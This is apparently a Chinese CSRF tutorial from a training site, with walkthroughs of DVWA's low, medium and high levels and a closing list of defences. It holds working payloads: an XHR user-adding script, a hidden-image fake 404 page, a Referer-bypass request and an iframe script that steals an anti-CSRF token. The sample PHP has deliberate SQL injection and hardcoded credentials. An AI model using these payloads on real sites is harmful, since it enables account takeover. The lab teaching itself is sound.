10分钟浅谈CSRF突破原理，Web安全的第一防线

2019-12-20

加入收藏

CSRF攻击即跨站请求伪造（跨站点请求伪造），是一种对网站的恶意利用，听起来似乎与XSS跨站脚本攻击有点相似，但实际上彼此相差很大，XSS利用的是站点内的信任用户，而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。

你可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件，发短信，进行交易转账等，甚至盗取你的账号。

那么，今天i春秋向小伙伴介绍一下CSRF突破原理的相关内容，希望对大家学习Web安全有所帮助。文章阅读约15分钟，一定要看完哦，文末内容更精彩〜

CSRF攻击原理

当我们打开或登录某个网站后，浏览器与网站所存放的服务器将会产生一个会话，在会话结束前，用户就可以利用其自身的网站权限对网站进行操作，如：发表文章，发送邮件，会话结束后，在进行权限操作，网站就会知道会话超期或重新登录。

当通过登录网站后，浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求，都被认为是可信的行为，例如转账，汇款等操作。过长或者自主结束重叠，必须重新建立经过认证的可信安全的会话。

CSRF攻击是建立在会话之上。例如：登录了网上银行，拆分转换账业务，这是攻击者给你发来一个URL，这个URL是攻击者精心构造的有效替代，攻击者精心构造的转账业务代码，而且与你登录的是同一家银行，当你认为这是安全的链接后点击进去，你的钱就没了！

例如想给用户xxser转账1000元，正常的URL是：

secbug.org/pay.jsp?user=xxser&money=1000

而攻击者构造的URL则是：

secbug.org/pay.jsp?user=hack&money=10000

CSRF突破利用

CSRF进攻常常被用来制造蠕虫攻击，seo流量等。

分析防御代码

获取GET参数用户名和密码，然后通过选择语句查询是否存在对应的用户，如果存在通过$ _SESSION设置一个会话：isadmin = admin，否则设置会话：isadmin = guest

判断会话中的isadmin是否为admin，如果isadmin！= admin说明用户没有登录，那么切换到登录页面，只有在管理员登录后才可以执行用户的操作。

获取POST参数用户名和密码然后插入用户表中，完成添加用户的操作。

<?php  session_start();  if (isset($_GET['login'])) {  $con=MySQLi_connect("127.0.0.1","root","123456","test");  if (mysql_connect_errno()) {    echo "连接失败".mysql_connect_errno();  }  $username = addslashes($_GET['username']);  $password = $_GET['password'];  $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");  $row = mysqli_fetch_array($result);  if($row){    $_SESSION['isadmin'] = 'admin';    exit("登录成功");  } else{    $_SESSION['isadmin'] = 'guest';    exit("登录失败");  }  } else{  $_SESSION['isadmin'] = 'guest';  }  if($_SESSION['isadmin'] != 'admin'){  exit("请登录……");  }  if(isset($_POST['submit'])){  if (isset($_POST['username'])) {    $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");    exit($_POST['username']."添加成功");  }  }?>

这是后台php源码。

攻击者需要做的就是构造一个请求，请求的URL就是php文件的URL，参数是submit = 1＆username = 1＆password = 1，请求有效载荷会自动利用原始码的特性添加一个用户：

<!DOCTYPE html><html><head>  <meta charset="utf-8">  <title>CSRF漏洞实践</title></head><body>  <script type="text/JAVAscript">  var pauses = new Array("16");  var methods = new Array("POST");  var urls = new Array("isadmin.php");  var params = new Array("submit=1&username=1&password=1");  function pausecomp(millis){    var date = new Date();    var curDate = null ;    do{      curDate = new Date();    }while(curDate-date<millis);  }  function run(){    var count = 1 ;    var i = 0 ;    for( i=0 ; i < count ; i ++){      makeXHR(methods[i],urls[i],params[i])；      pausecomp(pausecomp[i]);    }  }  var http_request = false ;  function makeXHR(method , url , paramters){    http_request = false ;    if(window.XMLHttpRequest){      http_request = new XMLHttpRequest() ;      if(http_request.overrideMinmeType){      http_request.overrideMinmeType('text/html');      }    } else if(window.ActiveXObject){      try{      http_request = new ActiveXObject("Msxml2.XMLHTTP");      } catch(e){      try{        http_request = new ActiveXObject("Microsoft.XMLHTTP");      } catch (e){ }      }    }    if(!http_request){      alert('Cannot create XMLHTTP instance');      return false;    }    if(method == 'GET'){      if(url.indexOf('?') == -1){      url = url + '?' + paramters;      } else{      url = url + '&' + paramters;      }      http_request.open(method,url,true);      http_request.send("");    } else if(method == 'POST'){      http_request.open(method,url,true);      http_request.setRequestHeader("Content-type","Application/x-www.form-urlencoded");      http_request.setRequestHeader("Content-length",paramters.length);      http_request.setRequestHeader("Connection","close");      http_request.send(paramters);    }  }  </script></body></html>

DVWA平台CSRF

没有找到比较好的原始文件，于是找到了DVWA。

low

前端源码

<h3>Change your admin password:</h3><br><form action="#" method="GET">New password:<br><input autocomplete="off" name="password_new" type="password"><br>Confirm new password:<br><input autocomplete="off" name="password_conf" type="password"><br><br><input value="Change" name="Change" type="submit"></form>

前端原始码的非常简单，是一个修改密码的CSRF，表单采用GET方式更改提交。

后端源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {  // They do!  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  // Feedback for the user  echo "<pre>Password Changed.</pre>";}else {  // Issue with passwords matching  echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

可以看到预期接收数据后会验证两次密码是否重复，然后修改密码。

构造有效Payload

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们将Payload发送给受害者，受害者处于会话保持（登录状态）中，遭受一旦点击该URL链接，就意味着受害者执行了同样的操作，这个过程就是CSRF。

笔者位于的DVWA使用的登录密码，被替换为“ 123456”。

重点

这里的攻击建立是利用受害者的Cookie向服务器发送伪造请求（Payload），如果用户使用的是一个与xxser.com保持会话登录的浏览器重置有效负载URL，受害者的密码就会发生更改。

现如今，人们的安全意识普遍增高，我们可以采用短链接这种方式来进行优化，例如百度，新浪的短链接替代，以便减少图片内容，密码修改后的页面会有提示。

高明的做法（从一位前辈copy过来的）

<!DOCTYPE html><html><head><meta charset="utf-8"><title>Payload</title></head><body><img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none"><h1>404</h1><h2>file not found.</h2></body></html>

页面的作用是加载一个伪404的页面，实际上可以访问该页面，就会加载图片，所谓加载图片就是加载src属性，而src属性则为Payload-URL，实际的行为就是加载该html页面的同时图片会加载，也就执行了有效负载。

middle

前端源码（添加了http_referer头的验证）

<?phpif( isset( $_GET[ 'Change' ] ) ) {// HTTP_REFERER :查询当前页的前一页的地址信息// SERVER_NAME:获取域名if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {  // stripos() :查字符第一次出现的位置，  $pass_new= $_GET[ 'password_new' ];  $pass_conf = $_GET[ 'password_conf' ];  // Do the passwords match?  if( $pass_new == $pass_conf ) {    // They do!    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    $pass_new = md5( $pass_new );    // Update the database    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    // Feedback for the user    echo "<pre>Password Changed.</pre>";  }  else {    // Issue with passwords matching    echo "<pre>Passwords did not match.</pre>";  }}else {  // Didn't come from a trusted source  echo "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

检查HTTP_REFERER（http数据包的referer参数值）即上一级URL地址信息是否包含由HTTPHTTP数据包中的主机参数值；包含则表示当前页面是从DVWA即上一级URL合法的行为。

合法的http数据包：

GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-aliveUpgrade-Insecure-Requests: 1

留意第2行，第8行。

分析绕过

但是stripos（）函数写的头验证是可以绕过的〜stripos（）函数是多次匹配；只要包含了目标主机地址就可以可以绕过过strips（）函数写的验证语句

如果我们依旧按照建立一个伪造的攻击页面，stripos（）头验证就会验证，而页面并非来自DVWA，于是深挖stripos（）函数的扩展，发现函数会多次匹配，于是思路就是建立一个假的文件名，通过一个伪造的文件名，绕过stripos（）的验证。

Payload

GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://127.0.0.1/127.0.0.1.htmlCookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943X-Forwarded-For: 8.8.8.8Connection: keep-alive

这里注意：我们将Payload命名为“ 127.0.0.1.html”

high

前端源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// 加入 Anti-CSRF token机制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {  // They do!  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  $pass_new = md5( $pass_new );  // Update the database  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  $result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  // Feedback for the user  echo "<pre>Password Changed.</pre>";}else {  // Issue with passwords matching  echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>

加入反CSRF令牌机制，用户访问改密页面时，服务器返回令牌，只有用户提交令牌参数才可以进行改密行为。

分析绕过

我们构造有效载荷页面的时候，就需要考虑到执行改密行为必须向服务器发送令牌，而令牌只有在改密页面才可以获得；

根据前辈的思路：利用受害者的cookie去改密页面获取令牌。

<script type="text/JavaScript">function attack(){ document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit();}</script><iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe><body οnlοad="attack()"><form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"> </form></body>

攻击提示是当受害者点击进入该页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的令牌，并向服务器发送改密请求，以完成CSRF攻击。

然而理想与现实的差异是巨大的，这里牵扯到了跨域问题，而现在的浏览器是分离跨域请求的。这里简单解释下跨域，我们的框架iframe访问的地址是http：//169.254。 36.73 / DVWA主站/漏洞/ csrf /，位于服务器169.254.36.73上，而我们的攻击页面位于黑客服务器上，其中的域名不同，域名B下的所有页面都主动获取域名A下的页面内容，除非域名A下的页面主动发送信息给域名B的页面，所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的，所以我们将攻击代码注入到目标服务器169.254.36.73中，才有可能完成攻击。下面利用高级XSS入侵协助赢得Anti-CSRF令牌（因为这里的XSS注入有长度限制，不能够注入完整的攻击脚本，所以只获取Anti-CSRF token）

这里的名称存在XSS突破，于是抓包，改参数，成功删除令牌链接。

通过DVWA平台的CSRF实例，简单的总结了CSRF的特性和应对措施：

CSRF应对措施

从DVWA的测试中总结：在不可能的等级的原始代码中，利用了PDO技术防御SQL注入，CSRF方面则要求用户原始密码；攻击者在不知道原始密码的情况下是无法进行CSRF的！

CSRF防御手段

使用POST，限制GET

GET方式最容易受到CSRF攻击，只要简单的构造有效剂量就可能导致CSRF；使用POST可以大程度的减低CSRF显示率

浏览器Cookie策略

老浏览器会拦截第三方本地Cookie的发送，而新浏览器则不会拦截发送；

添加验证码

简单粗暴还有效；可以大程度的增加人机交互的过程，避免用户被悄悄的偷袭

推荐人检查

检查请求是否来自于合法的源

反CSRF令牌

令牌的值必须是随机的，不可预测的。由于令牌的存在，攻击者无法再构造一个带有合法令牌的请求实施CSRF攻击。另外使用令牌时应注意其保密性，尽量把敏感的操作由GET改写POST，以表格或AJAX形式提交，避免令牌替换。

总结

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常使用反CSRF令牌来防御CSRF攻击，同时要注意令牌的保密性和随机性。

实际上是网络安全除CSRF之外，还包括SQL注入，XSS等众多知识点，繁杂且不成体系，若要深入学习Web安全攻防内容，一定要从基础抓起：https://www.ichunqiu.com/train/course/11?form=weixin